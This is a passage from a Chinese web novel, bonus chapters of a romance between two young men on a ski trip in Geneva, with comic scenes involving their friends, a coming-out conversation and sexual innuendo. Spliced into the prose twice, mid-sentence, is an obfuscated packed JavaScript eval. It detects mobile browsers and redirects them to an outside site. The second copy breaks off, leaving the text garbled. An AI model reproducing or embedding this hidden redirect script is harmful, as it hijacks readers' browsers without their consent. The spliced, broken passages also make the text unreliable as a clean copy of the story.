迟铎就这样带着无处抒发的情感,被服务……或者说服务了个彻底。等到上了包机,腿都是软的。 他一抬眼看见那群狐朋狗友,火气就噌一下上来。 损友们倒是很激动,小学生们春游来了。迟铎没眼看,直接把眼罩一扣,准备装死。 结果他刚闭眼没十秒,耳边“嗷——”一声唢呐,直冲天灵盖。 迟铎:“……” 他极其愤怒地扯下眼罩,发现不知道哪个缺德的把蓝牙音响就放在他座位旁边,裴与驰不在。 找出那个缺德的花了迟铎0.1秒时间,周淮三步并两步凑过来,语气热情得像空乘:“来来来,你爱的蛋糕。”他双手奉上,姿势极其庄重。 迟铎盯着那盒包装完好的甜品,第一反应不是感动,是警惕:“你又想干嘛?” 周淮一脸真诚:“我弥补你啊!你删我steam我都没跟你计较,我这叫以德报怨。” 迟铎刚伸手要接,周淮不给机会,直接把盖子一掀,里面不是蛋糕。 是一张纸条。 纸条上几个狗爬的字:“删兄弟干嘛?” 迟铎:“…………” 周淮还一副求表扬的样子:“怎么样,我这蛋糕主打一个情绪价值,健康不长胖。” 迟铎面无表情:“有病真的赶紧去治。” 周淮继续贴上来:“那你到底删我干嘛?我最近也没坑你多少把啊?!” 迟铎:“你还有脸说。” 周淮:“……” 周淮噎了一下,正准备辩解,旁边的人已经开始起哄:“别吵了别吵了!来来来,玩点飞机上该玩的!” “德扑!” “喝!” “拍一张!” 迟铎闭了闭眼,重新把眼罩往下拉。 下一秒就被喂了一口栗子泥。 他摘下眼罩,发现刚才不在的裴与驰不知道什么时候坐回来了,手里还端着一碟栗子蒙布朗。 他又想起自己想去reddit发的帖子标题,忘了加上一句:还知道我所有爱好。 偏偏周淮眼尖得跟猹似的,一眼就捕捉到了这一幕,立刻阴阳怪气:“哟,就迟铎是兄弟,我们是小弟是吧?” 迟铎吃着蒙布朗,心里只剩一句话:我当初为什么没把整群人一起删了?明明是甜蜜双人游!结果现在包机上坐满了傻逼! 56.如果当时(7)[番外] 飞机很快落地日内瓦。舱门一开,冷空气立刻灌了进来。舷梯下,酒店的礼宾已经等着。迟铎是真的佩服周淮的门路,硬是在最热门的雪季时段,给这群人搞到了同一家酒店、同一层的两套套房。八个人很自然地往里一塞,对即将成为沙丁鱼罐头这件事早就见怪不怪,甚至还能自得其乐。 迟铎站在一旁,看着这副场面,心里只有一个评价:臭味相投。下一秒又忍不住暗恨,他本来还指望他们最后只能住得远一点,最好是那种通勤都嫌麻烦的Airbnb。这样白天最多被烦一烦,下午和晚上,至少还能还给他们一点真正的两人空间。 现在好了,连二人世界这四个字,在空气里都显得奢侈。 到了酒店也才中午,行李还没完全放好,手机就开始疯狂震动。迟铎扫了一眼,群消息已经100+。都住同一家酒店了,还能发这么多条,也是离谱。他把手机塞回口袋里,懒得理,裴与驰更是掏都没掏。 房门合上的一瞬间,安静扑面而来。 迟铎低头,把自己埋进裴与驰胸前,声音闷闷的:“好烦。” 裴与驰声音压得很低, 像在跟他分享什么秘密:“那我们做点不烦的。” 迟铎:“……” 不是吧?早上才…… 他刚想怼一句你脑子里能不能装点别的?结果空气里已经弥漫开香薰的味道,脚踩上地面的花瓣,也不是不…… 还没等他说服自己,裴与驰已经掏出了手机,屏幕一亮,语气平静:“我让礼宾把今天的安排发过来了。” 迟铎:“……” 行。 他自作多情。 他站直,面无表情地听着行程安排,像刚才那一秒的心动从未发生过。裴与驰还特别认真,滑动屏幕给他看:几点约教练、几点去餐厅、下午泡汤还是做护理…… 迟铎越看火越大。 裴与驰抬眼看了他一下,低低笑了一声,像是终于忍不住。还没等迟铎头上冒出井字问他笑什么,吻就落了下来。 很轻,最开始只是简单地贴着。 裴与驰没有急着深入,只是耐心地停在那里,像在安抚迟铎把那口火气一点点咽下去。迟铎本来还想赌气,结果裴与驰的呼吸贴着他,温热又安稳,所有不满都像被轻轻捂住,瞬间就散了。他睫毛颤了一下,终究还是顺从地回吻过去。吻慢慢变得深入,却依旧不急不躁,没有任何情欲的急切。每一次更深一点的贴合,都像在反复交换两句没说出口的: 别烦了,有我在。 我喜欢你。 香薰的味道在空气里浮着,地上的花瓣被脚尖轻轻带乱。窗外是雪场明亮的光,屋里却安静得只剩下彼此的心跳。 裴与驰退开时也很克制,只是额头轻轻碰了碰他的额头,像把之前逗人的那点坏心眼收起来,换成更诚实的温柔。迟铎明明很依恋,手却还攥着他的衣角不放,嘴上依旧吐槽:“你就是故意的。” 裴与驰“嗯”了一声,承认得理直气壮:“故意的。” “故意哄你。” 暧昧和美好的氛围没持续多久,就被门外急促的敲门声硬生生打断,不用想就知道是谁。迟铎太阳穴一跳,正准备开骂,裴与驰已经走过去了。 他站到门前,手搭上门把,却没有立刻开,反而特意停了停。下一秒,裴与驰毫无预兆地把门猛地一拉开,果然,外面那三个人正贴门贴得忘我,重心全在门板上,门一消失,他们就齐刷刷往里扑,“咣当”一声,叠起了罗汉。 周淮摔在最前面,抬头第一句还想嘴硬:“你们怎么不回——”话没说完,他对上裴与驰那张没什么表情的脸,硬生生把后半句吞回去。 裴与驰语气平静,甚至还挺礼貌:“找我们?” 迟铎站在里面,面无表情地看着这场事故,心里很清楚,裴与驰是故意的。 原来……他也有这么幼稚的时候。 “吃饭啊,都饿了。”周淮的脸皮厚如城墙,爬起来后瞬间把刚才的出糗忘到九霄云外。他拍了拍衣服,顺手捋了捋头发,语气带着催促:“走走走,赶紧的。” 迟铎刚想开口说“你们自己吃”,另一个声音已经抢先一步把他路堵死。 “第一天肯定大部队一起啊。”莫西干男靠在门框边,笑得理直气壮,“我都好久没见你俩了,这个面子得给吧?” 这位莫西干男也是他俩的高中同学,叫严峰。因为选的课重合得多,基本三天两头能在校园里撞见,关系一直挺不错。而且严峰跟迟铎一样,都属于那种“发型不折腾会死”的人,迟铎后来固定去的那家barber shop 还是他推荐的,属于审美互害。 更关键的是,这人确实离他们远。远到已经不在英格兰岛上了,跑去苏格兰读书。平时见一面火车都得哐啷哐啷晃好久,属于拒绝显得很没良心的那种距离。 周淮立刻接话,趁机拱火:“听见没?严峰都发话了。裴少,给个面子。” 裴与驰没什么表情,只看了迟铎一眼,询问意见。迟铎心里骂了一串脏话,最后只挤出一句:“……行,走吧。” 就一天。 于是约好的米二午餐,最后变成了一家家常地中海菜。但前者信用卡都提前刷过了,亏得迟铎心口一抽。热门雪季,什么餐馆都紧张,他们人又多,店家最后只能给两张台子拼起来。 拼是拼上了,人也坐下了。但那个密度,基本属于人挤人,胳膊肘叠胳膊肘,恨不得直接坐对方腿上给上半身给点空间。赵星宇最先不要脸,椅子还没热就一屁股坐严峰腿上,理由还特别充分:“你腿长,省空间。” 严峰也没觉得有什么所谓,反正日常就是和朋友挤着走。他甚至还顺手调整了下位置,让赵星宇坐得更舒服,手搭到赵星宇脖子上,两个人就这么挤在一块儿研究菜单,亲密得像连体婴。 周淮看得眼睛一亮,立刻也想有样学样,屁股刚离座位,下一秒就被裴与驰一把推回去,动作干脆利落,力度不容拒绝。 差一点成为受害者的迟铎:“滚。” 周淮:“……” 他揉着腰,委屈得像遭受了小团体霸凌,立刻开始阴阳怪气:“能不能不要这么有占有欲?”说归说,又不敢直视裴与驰,只好看着迟铎。 “兄弟又不嫌多,又不是女朋友,分享一下怎么了?” 周淮摆出一副谆谆教诲的嘴脸,指责这两人:“你们这样不健康,知道吗?要学会——” 裴与驰淡淡看了他一眼。 周淮立刻改口,气势瞬间缩水:“……你们这样也挺好,挺有边界感。” 其他人在旁边看热闹,笑得肩膀都抖 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17034176|191384||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。周淮不敢惹裴与驰,别的还是敢的。索性破罐子破摔,直接一屁股挤进另外两个人中间,硬把一张椅子坐出了三人沙发的效果。 一桌人吵吵嚷嚷,服务员端着塔帕斯过来时脚步都明显谨慎了点,眼神带着职业性的警惕,怕被这群亚洲人突然发疯找事,迟铎夹了块火腿,嚼得很冷静,心里默默给自己做心理建设:忍一顿饭,下午就能滑雪,晚上……晚上一定要锁门。 这一上午的折磨终于在滑雪时消失殆尽。十个人里,除了他们俩,还有严峰和另一个朋友周兴毅算真正的滑雪爱好者,那种每年固定来几次雪场、聊起雪况和坡度都很熟悉。剩下几个放旁边纯看热闹都怕他们被人撞。 裴与驰懒得听他们逞强,直接把人发配给教练。“你们就跟着教练。”他语气很平静,但不容拒绝,“别逞强。”其他人连连点头,周淮嘴上还想嘴硬:“我也能——” 裴与驰抬手,把他雪镜往下一按,盖棺定论:“你先能站稳再说。” 周淮:“……” 行。反正这里除了迟铎,没一个人敢忤逆裴与驰。 把那群人丢给教练之后,世界瞬间清净了。裴与驰转回来,看向迟铎,眼神像在问:走? 迟铎本来还在生气,结果雪杖往雪地里一点,板一踩上去,心就自动平静了。他们没去挤新手区,直接上缆车往高处走。风一上来,世界只剩下雪板压雪的声音。 裴与驰先落下去,姿态很干净利落,重心稳,转弯利落。迟铎跟在他侧后方,速度一提起来,胸口那点烦躁就被风直接刮走,连呼吸都变得顺。他们滑得都很帅,不用刻意摆姿势,随便一个换刃、一个连贯的弧线,就足够让路过的人下意识回头。这种地方见过太多会滑的,但会滑还好看,还是会被多看两眼。 严峰和周兴毅跟在后面,默契得像四个人有个训练过的队形。严峰甚至还能抽空说骚话:“我宣布!今天这个坡,发型不乱的人算赢。” 周兴毅:“你先别说话,风把你莫西干吹成扫把。” 严峰:“滚。” 迟铎听到这句“滚”,莫名其妙笑了一下。 裴与驰回头看他一眼:“不烦了?” 迟铎嘴硬:“谁说不烦。” 裴与驰“嗯”了一声,像懒得拆穿:“那再滑一条。” 迟铎抬起雪杖指了指前面那条更开阔的道:“走。” 他们又滑了一条,再一条。 风把人吹得清醒,雪把人逼得专注,跟赛车一样,只剩下本能和速度。直到小腿开始酸,脚踝被雪靴勒得发胀,迟铎才意识到时间不早了。 裴与驰滑到他旁边停下,雪杖一插,声音不大:“差不多了。” 迟铎还嘴硬:“我还能——” 裴与驰看他一眼:“你回去还能走路吗?” 迟铎:“……” 裴与驰给了备选方案:“你要是想继续也行,我背你回去。” 那太丢脸了。迟铎立马就很听话,转身往回滑。 他们往集合点滑的时候,手机终于有机会震起来。迟铎扫了一眼屏幕:群里又是爆炸式刷屏,字都快从锁屏里溢出来。他们到底学没学到到东西这件事很显而易见。迟铎面无表情地把手机按灭。 于是这一天的滑雪,以大家都还活着为结尾,顺利收工。 57.如果当时(8)[番外] 回酒店的路上,迟铎庆幸,幸好没继续滑下去,不然真被背回去就丢大脸。 他刚踏进大堂就想把自己扔进沙发里,他评估自己是再走不了一点,晚餐只能叫客房服务了。裴与驰看出了他的不对劲,手牵了过来,让他靠着自己走。 迟铎嘴硬:“我没事。” 裴与驰“嗯”了一声,没拆穿,只是低声问:“回房间?泡汤还是护理?” 迟铎一想到那群人晚上大概率还要来敲门,眼皮一跳,立刻做决定:“回房间。锁门。” 裴与驰低笑:“好。” 迟铎走了两步,脸色如常,吐出来的话却让人不寒而栗:“今天晚上,谁敲门谁死。” 裴与驰看着他,语气平静:“我会帮你。” 迟铎:“……” 更烦了,但也更甜了。 结果晚饭刚送上来,还没来得及动一口。 门外传来一阵毫不收敛的动静,不是敲门,是撞门。 伴随着熟悉到令人头皮发麻的声音。 “开门!!你们房间最大!” “我们饿了!!” “谁订了酒!!” 迟铎:“……” 他就知道。 外面的动静很快升级,从敲门进化到开始认真讨论:“要不要找礼宾拿万能卡?” 迟铎终于破防,深吸一口气:“算了。” “谁开门谁死”的念头在脑子里转了一圈,最终还是输给了对面赤裸裸的人海战术。他一副视死如归的表情,伸手把门拉开。谁让他们当初没守住底线,答应了这群人团建。 下一秒,一群人像泄洪一样涌进来,鞋都没想着脱,声音先把整个客厅填满。 “来来来,连电视!主机我带了!” “谁拿我充电器了!” 迟铎被挤到一边,面无表情地看着这群人迅速完成占领,就在他准备彻底认命的时候,裴与驰低头靠近他,声音压得很低:“没事。” 迟铎抬眼:“没事什么?” 裴与驰语气平静:“今晚本来就没打算住这。” 迟铎一愣。 裴与驰继续:“我订了独立山景套房。” “不在这边,有单独入口” 迟铎:“……” 外面那群人已经把客厅占领得差不多了,电视开着,手柄拿着,甚至有人开始讨论今晚怎么睡。 迟铎缓慢地消化着这几句话,最后低声骂了一句:“你故意瞒着我?” 裴与驰点头,承认得非常干脆:“嗯。” 迟铎:“你什么时候订的?” 裴与驰想了想:“出发前。” 迟铎:“那你还让我跟他们一起住?” 裴与驰看着他,逻辑清晰:“第一晚热闹一点,他们会玩得尽兴。” “后面,就不会找我们了。” 迟铎:“……” 这算盘打得,连他都替那群人心寒。 裴与驰又补了一句,像是提前把后路也铺好:“司机随时待命。” “我们吃完就走。” 迟铎抬眼看他,半晌才憋出一句评价:“你这人真的很坏。” 裴与驰“嗯”了一声,接受得理直气壮。 “但你最后都会喜欢。” 迟铎:“……” “裴少一掷千金啊。” 这花费确实不小,放在任何人身上都该肉疼,尤其还在上学,迟铎心疼他花得太狠。 裴与驰却神色如常:“还好。” 他顿了顿,又补了一句,听起来甚至有点理所当然:“感谢零时区。” 迟铎想明白后,只觉得合理。全球股市轮着开,时间刚好对他很友好。 行吧。 原来所谓的一掷千金,不过是裴与驰顺手把股市赚来的零头,换成了一晚清净和二人世界。 迟铎彻底没地方抒发自己的情感了,感觉不管把这事发到全世界哪个论坛,都会被当成赤裸裸的炫耀,然后被举报。 既然知道今晚注定还是二人世界,迟铎立刻心态转正,利索地加入了抢饭大军,再不吃他真的要饿死了。等吃喝都差不多填饱肚子,谁也不想动弹,索性就地开局,玩起了沙盒生存游戏。 结果不出意外地出意外,周淮被删好友除了迟铎的无能迁怒,他自己也真的要负点责任。 周淮已经是第三次在晚上忘记点火把了。夜幕一落,他一慌,手忙脚乱之下不知道点了什么,下一秒基地又又又着了。 “操!!!” 屏幕里火光冲天,资源、箱子、作物一起化为灰烬。 周淮当场崩溃:“不是!我刚才明明——” 没人听他解释。 大家默契地放下手柄,开始现实版“叠罗汉”,把周淮按在最底下,让他近距离欣赏什么叫真正的团队合作与个人失败。 “来,看看我们的厉害。” “别动,截图了。” 周淮的惨叫和笑声混在一起,场面一度非常不体面。就在这片混乱中,迟铎站起身,语气十分随意:“我出去回个家人电话。” 没人抬头。 “去吧去吧。” “周淮你别挣扎!” 迟铎:“……” 行。 他转身就走,裴与驰跟上。两个人动作熟练得像排练过无数次,出了房门、拐进走廊,直到电梯门关上,数字开始往下跳,世界终于安静。 “他们发现得多快?”迟铎问。 裴与驰想了想,很客观:“等周淮第四次烧家。” 迟铎没忍住笑出声:“他们要是发现我们跑了,能把群炸了。” 裴与驰站在他旁边,语气很淡定:“等他们发现,已经晚了。” 迟铎抬眼看他,忽然觉得这人是真的坏。 但坏得刚刚好,他…… 电梯到达地下车库,门一开,冷空气和安静一起涌进来。司机已经在等。车子驶离主楼的时候,迟铎忍不住回头看了一眼。房间里面大概正有人吵着复盘游戏、争论谁的锅、顺便在群里疯狂@他们。 但那些声音都他们手动静音掉了。 越往山里走,路越暗,雪越厚。车灯扫过松林,影子在雪地上一节一节地拉长,安静得只剩下回响。独立山景套房在另一侧的坡上,单独的入口,很安静,环境里只剩下雪被踩开的细微声响。 门一关上,壁炉烧的火正好,吊灯是适合夜晚的暖黄色,桌上已经摆好了水果和鱼子酱、奶酪,摆盘很精致。杯子里已经倒好了一杯红酒,香槟冰在冰桶里,细小的水珠顺着桶壁往下滑。 迟铎站在玄关里,一时间没动。 直到这一刻他才后知后觉地意识到,这是他期待了很久的二人世界。从还没考试、行程刚定下来的那天起,就被他在心里反复预演过无数次。这次不是和朋友一起出来玩,这是他们第一次,以新的身份,一起出来滑雪。 这个念头落下来的瞬间,迟铎心软了下来,他转过身,看着裴与驰,语气不自觉地放轻:“现在干嘛?” 裴与驰想了想:“什么都不干也行。” 迟铎一愣。 裴与驰的视线在他腿上停了一瞬意有所指:“今天运动量太大。” 他顿了顿,补了一句:“外面有汤泉。” 迟铎才发现从雪靴里解放出来后,腿是真的在发酸,刚才全靠情绪撑着。他没反驳,只是低声“嗯”了一下。然后就毫无负担地接受了男朋友的公主抱,一边被抱着走一边还要嫌弃:“就不能背吗?” 裴与驰低头看了他一眼:“下午不是不愿意。” 迟铎:“……” 那是公众场合,要面子。 这话当然不能说,不然下次就会在毫无预警的情况下被当场背走,连心理准备都没有。 他被抱着往外走,露台的门一开,冷空气和雪夜一起涌进来,热汤的雾气在灯下慢慢散开。迟铎被风一吹,立刻得寸进尺:“这真的很gay。” 裴与驰脚步没停,甚至还往上托了托,让他抱得更稳:“现在才意识到?” 迟铎探讨:“我是说姿势。” 裴与驰想了想,像是在认真评估可行性:“那下次换。” 迟铎立刻警觉:“换什么?” “你腿放我腰上。”裴与驰回答得毫不犹豫。 迟铎:“……” 他脑子里迅速过了一遍画面,迅速得出结论。 ……还不如现在这个。 裴与驰像是怕他没理解,还很贴心地补充说明:“就是你平时在床……” 话说到一半,被一只手毫不留情地捂住了嘴。 迟铎懒得跟他掰扯,也懒得听下去,索性把脸往他肩上一埋,语气却还是不服输:“你就惯着我吧。” 裴与驰的声音被挡住,只低低应了一声,听起来心情还挺好:“本来就是。” 把人放进汤泉里的时候,动作比抱出来还要轻。热水漫上来的一瞬间,迟铎整个人明显放松。他靠着池边,腿被温度一点点捂开,感叹了一句:“……确实舒服。” 裴与驰在他旁边坐下,手搭上他的小腿,有节奏的按压着。他看着远处的雪夜:“所以才带你来。” 迟铎顺着他的视线望出去,同样的雪山夜景,和白天被阳光照射的刺眼不同,夜里只剩纯粹的白雪和山景,十分漂亮。 小腿上传来的、有分寸的力道,一点一点把白天滑雪的酸痛和疲惫揉散。他把头靠向身旁的人,心里理直气壮地想:本来就是gay,那再gay 一点,又能怎么样呢。 本来原计划是泡个温泉就睡了。 但景色太好,温泉又实在有奇效。等水一退、热气散开,迟铎刚站起来的那一瞬间,刚才那点累到不想动的状态就像被一并蒸走了。 他擦干身体,顺理成章地往前一扑,直接爬上了裴与驰的背,动作很熟练,不像新手。 “背我。”语气理直气壮,还顺带在他耳边低声补了一句,带着点刻意的勾人。 裴与驰稳稳当当地接住了差点因为地滑而往下掉的人,手一抬就把人固定住,连晃都没晃一下。 “刚才不是说累?”他问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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只是那饼干的边缘,在靠近时反复停顿、轻扫,分寸拿捏得恰到好处,看起来像是失误,又明显不是。 迟铎的反应给足了面子。 他脸色很快就泛起一层浅红,连脖颈都跟着热起来,视线不自觉地乱飘,整个人像被那点若有若无的触感牵着走。 裴与驰把饼干递过去,提醒:“小心,别掉了。” 迟铎接过来的时候,指尖明显有点不稳,差点把那块薄饼捏碎。 还没等他缓过来,裴与驰已经靠近,把“餐盘”里剩下的鱼子酱一点点处理干净。动作不急,却很专注,像是在认真对待一道高分佳肴。他似乎对那味道格外留恋,停顿的时间比必要的长了一点。偶尔牙齿的碰触像是不经意,又让人分不清到底是不是失误。 迟铎的呼吸乱了一拍。 他移开视线,又很快意识到这样根本没用,整个人的注意力早就被拖走了。那点若有若无的动静,比任何直接的举动都更折磨人。 裴与驰抬起身的时候,神色依旧从容,像什么都没发生过,只是顺手把餐盘放回原位。 “别浪费。”他说。 迟铎:“……” 裴与驰像是终于良心发现,伸手把迟铎扶了起来,让他靠回椅背。随后把香槟递到他唇边,动作很稳,语气却放得很轻:“慢点。” 气泡在舌尖炸开的瞬间,迟铎下意识地吸了口气,整个人还没缓过来。 下一秒,裴与驰已经俯身靠近,距离近得几乎没有退路。呼吸被夺走的那一刻,并不激烈,却带着一种不容拒绝的从容,像是早就算准了他会承受不住。 迟铎脑子一片空白,只剩下被牵着走的感觉,酒和津液都毫无保留地给了对方。 裴与驰退开时,神色依旧冷静,还贴心的提醒:“酒别喝太快。” 迟铎:“……” 他合理怀疑裴与驰是不是背着他高强度浏览过poxxhxb之类的东西,不然现在这副游刃有余、分寸精准的样子,怎么看都像阅片量惊人、实操经验丰富。 问题是他作为对手方,连排练都没有,直接上实拍,这合理吗? 到最后,喊饿了的那位吃了什么不好说,可以肯定是b水应该比香槟多。 迟铎吃的就杂了,吃东西的部位也杂,完全没有章法。 不管是食物,还是别的什么,都像是被一股脑塞过来,分不清先后,也顾不上挑剔。等意识回笼的时候,只剩下一个结论: 确实是饱了。 迟铎躺在床上,连动都不太想动。澡是怎么洗完的他已经懒得去回忆了,只记得全程都很省力,待遇相当周到,他该给的小费对方也没少抢。总之等他重新躺回床上,整个人已经进入一种大脑清醒、身体拒绝配合的状态。 腿根和……发麻,连带着整个人都很诚实地罢工。 雪是肯定滑不了了,骑也是骑得够够了。 他平躺着,盯着天花板,冷静地思考了一下接下来的行程安排,最终得出一个非常务实的结论:明天还是老老实实躺着,跟那群损友打打游戏就行了。 他就不该被小风一吹,温泉一泡就失了智找c。 虽然他的计划里,本来也没打算连着滑一整周的雪。行程表做得很松,给某些不可控项目或者说,非常可控、但需要体力的项目预留了充足空间。 现在回头看,这个安排显得格外有远见。 58.如果当时(9)[番外] 第二天,迟铎是被裴与驰从车库一路背进电梯的。 在“真行动不便”和“疑似行动不便”这两个选项里,迟铎非常理性地选择了后者,至少还能保留一点尊严。所幸车库这一路人不多,勉强在可接受范围内。 电梯平稳上行。 门一开。 迟铎和门外那一排人,成功完成了一次毫无心理准备的对视。八条沙丁鱼站得整整齐齐,显然已经在等下一趟。 周淮的第一反应非常朴素:“……你腿抽筋了?” 迟铎没回答。 他太清楚这群人的脑回路了,不用他说,他们会自己把逻辑补全。 果然,严峰扫了一眼,立刻给出一个更合理的解释:“昨天滑太狠了吧。” 迟铎点头:“嗯。” 众人恍然大悟,瞬间理解,甚至开始现场交流起各自新发现的身体隐患,谁膝盖不太对,谁腰有点不行,又是如何一边默念《钢铁是怎样炼成的》,一边为了友情坚持出门。 至于裴与驰为什么会背人,就更好解释了。 毕竟在这群人眼里,唯一有可能忤逆裴与驰的,只有迟铎本人。 而这俩人关系好,是公认的事实。 好到什么程度?好到连真从一岁开始和迟铎一起玩泥巴的周淮,都不得不承认一句:这俩人感情深,一口闷。 裴与驰语气平静:“让开。” 八个人下意识往旁边一让,动作整齐划一,像给伤员让路。 迟铎趴在裴与驰背上,面无表情地路过这群人,心里只有一个念头,幸好他们脑回路足够简单。 但这份庆幸并没有持续太久。 下一秒,那八条沙丁鱼像是突然想起什么,齐刷刷反应过来,转身就跟在他们屁股后面,走到一半,又集体刹车。显然是意识到这两位现在状态都不太对:一个要被迫伺候人,一个是出来玩的结果把自己玩伤了,火气大概都不小。 几个人互相对视了几眼,迅速完成内部协商,然后,非常果断地,把周淮往前一推。周淮被推得一个踉跄,回头想骂人,结果那几位已经非常有默契地一哄而散,嘴上还不忘交代一句:“我们先去楼下排餐厅了啊!” 留下一个兴师问罪代表,和两个明显不太想应付的人进了房间。 裴与驰:“……” 迟铎:“……” 周淮清了清嗓子,一秒进入角色,语气里带着点象征性的责问:“你伤归伤,但一码事归一码事。” “你们昨天鸽兄弟们,咋回事?” 裴与驰直接没理,把迟铎放到沙发上,就进了房间换衣服。 他马上有个很重要的会议,基金公司正按计划筹办中,目前他是以独立交易策略BD的身份在找募资,今天要见的是个对他的策略很感兴趣的潜在投资人。 客厅里只剩下迟铎和周淮僵持着。 迟铎忍了又忍,本来打算随便编个理由糊弄过去。反正周淮这人主打一个没脑子,还特别擅长替别人补全漏洞。但一想到接下来六天,还要跟这八条吵得不行的沙丁鱼天天腻在一起,吃饭、滑雪、打游戏,连走廊里都能撞见,一点二人世界的可能都没有,人生突然就显得有点无望。 他叹了口气,决定不兜圈子了。况且周淮和他家三代世交,平时极其不靠谱,但什么该说、什么不该说,他还是分得清的。 “因为我们想就我俩一起。”迟铎说得很直接,又强调了一句,像是怕他听不懂,“就我俩,懂吗?” 周淮当场不服:“你俩不是天天住一起吗?还要多腻啊?” “而且兄弟们毕业了都聚不齐在同一个大学,有的还得从乡下过来,见一面多不容易。”他说得越来越来劲,“你这时候搞小团体,不合适吧?” 迟铎面无表情地看着他。 周淮继续加码:“再说了,论认识时间,我俩认识得久多了,也没这么黏吧?” 他指了指自己,一脸理直气壮:“我们可是纯正的两小无猜,竹马竹马。” 迟铎冷笑了一声:“谁跟你竹马?” 周淮一愣,下意识反击:“咋了?裴与驰长得帅就是你竹马了?” “我长得丑,就成了你一个村的?” 话刚出口,周淮自己先“呸”了一声,意识到骂偏了,赶紧补救:“不是不是,我不是说我丑,我是说你不能双标!” “他不只是什么竹马。”迟铎语气很平静,“他是我男朋友。” 周淮:“……” 空气直接凝固。 周淮缓慢地眨了一下眼,像是大脑即将过载。“不是,”他迟疑着开口,“你是不是弄错了bff的缩写含义了,哥们?” “是best friend,不是boy——” 话说到一半,他自己先卡住了。因为迟铎看着他,神情冷静得不像在开玩笑。 周淮:“……” 这一秒,他的世界观开始坍塌。他张了张嘴,想说点什么,却不知道从哪一句开始。那些“你在开玩笑吧”“这是在玩大冒险吗?”“这不太合适吧”在脑子里排着队转了一圈,最后直接死机。 他的大脑自动跳转了到了另一个界面:知乎,谢邀,刚到现场,人在酒店。回答一下兄弟当面出柜是什么体验? 答案是:来不及震惊性向。先开始疯狂复盘自己这二十多年,有没有成为过兄弟的直男劫,再仔细搜寻那些“兄弟这样对我,是不是对我有意思”的时刻。 周淮的表情从空白,缓慢滑向复杂,最后定格在一种非常诚恳的茫然上。 “……等一下。”他抬手比了个暂停的手势,语气前所未有地谨慎,“你让我捋一捋。” 迟铎靠回沙发,语气淡淡:“你慢慢捋。” 反正这件事,他也没打算再瞒下去了。 卧室里,裴与驰的会议准时开始;卧室外,两个人的坦白会议,也在同步进行。 周淮来来回回想了好几圈,思来想去,去来想思,终于憋出第一句话。内容不是震惊他们的性向,不是质疑这段关系,甚至不是“你们什么时候开始的”。 而是—— “兄弟,你老实说,”他表情极其认真,“你以前对我有意思过吗?” 迟铎:“?” 他怀疑自己听错了。 “你和裴与驰,”迟铎语气平静得近乎冷酷,“有任何、一丝一毫可比性?” 普信男,真的无处不在。 周淮:“……” 周淮无语了片刻,还真认真思索了一下,最终得出的结论只有四个字:毫无可比性。这个结论一落地,他不仅没沮丧,也没觉得自己被拉踩得体无完肤,反而是结结实实地松了一口气。确认了这么多年下来,兄弟就是兄弟,纯得不能再纯;也确认了兄弟柜门突然飞走这件事,跟自己没有一丝一毫关系。这一层想通之后,接受起来就容易多了,甚至还有点安心。 结果就在这份安心刚落地的一瞬间,周淮脑子里“叮”地一声。他灵光一闪,终于抓住了重点:“那你们消失一整夜……” 目光不由自主地在迟铎身上转了一圈,语气变得意味深长:“你现在这样子,是……?” 迟铎:“……” 他盯着周淮,心里只剩下一个疑问,这人万年不灵光的脑子,怎么偏偏在这种时候突然开始思考了? 周淮被他盯得头皮一紧,看他那副“你再多说一句我就灭口”的表情,非常识相地立刻转移话题。 “咳,不说那些无关紧要的。”他清了清嗓子,语气一下子变得八卦,“那你们在一起多久了?” “不到三个月。”迟铎答得很平静。 周淮掐指一算,眉毛立刻挑了起来:“咦?那不就是我生日那次,大家一起聚的前后?” 迟铎没否认。 周淮的表情开始微妙起来:“那你置顶的时候……你们就已经谈上了?”他是真的牙疼了。谈就谈吧,但问题是他俩谈恋爱,是这种画风的吗?这么腻歪?还要在一群毫无防备、清清白白的兄弟面前,若有若无地秀? 迟铎看了他一眼,语气理所当然:“怎么可能。” 周淮刚松了一口气,至少,没成为他们什么 play 的一环。 下一秒,迟铎补充:“他很早就是置顶了。” 周淮:“?” “我又不是什么恋爱脑,”迟铎说得非常坦然,“谈恋爱了才急着把人置顶这种事,我不干。” 他顿了顿,像是在确认事实:“他一直都是。各个联系方式,都是。” 周淮先是露出一副“哦,那也合理”的表情,下意识地点了点头。 下一秒,脑子慢半拍地转了一圈。 等等。 周淮的表情在“被说服”和“隐约不对”之间来回横跳了两秒,终于稳稳停在了后者。 先不纠结什么“所有联系方式都要置顶”是不是恋爱脑的问题。周淮慢慢抬起头,看向迟铎,语气变得谨慎起来:“你说……他很早就是置顶?” 迟铎“嗯”了一声,神情自然得不能再自然。 周淮:“早到什么时候?” “不记得了。”这三个字,杀伤力极强。 周淮沉默了一秒,又追问:“那你刚才说……你们在一起才三个月?” 迟铎点头。 “那之前呢?”周淮小心翼翼地试探,“你暗恋?” 迟铎面无表情地看着他。 周淮被这眼神盯得一激灵,话锋立刻一转:“……我是说,不是你暗恋,那难道是裴——” 这话他自己说出口都觉得离谱。这俩人,不管谁走那种苦情暗恋路线,都完全不像。 明明是最近才谈上,但置顶这种事却发生在很久以前。说实话,他还真没置顶过哪个兄弟。再往回倒带,走马灯似的翻一遍他们的青葱岁月,这俩人干过的事,哪一件单拎出来,都不太像普通兄弟。要真按“柜门不翼而飞”这个结果去反推,很多细节突然就对上了。 比如之前聚会时,有人吐槽过,你们不是天天住一起吗,怎么还一直在发微信?当时听着没觉得什么,现在再想,确实离谱得有点过头了。原来不是吐槽的那位关注点太歪了。是大家当时都想少了。 周淮忽然意识到一个事实:这不是兄弟们突然看对眼、临时来感觉了;这是早就已经情根深种,只是双方都没意识到。 他张了张嘴,半天没憋出一句完整的话,最后只挤出一个结论:“……你们这是什么级别的蠢——” 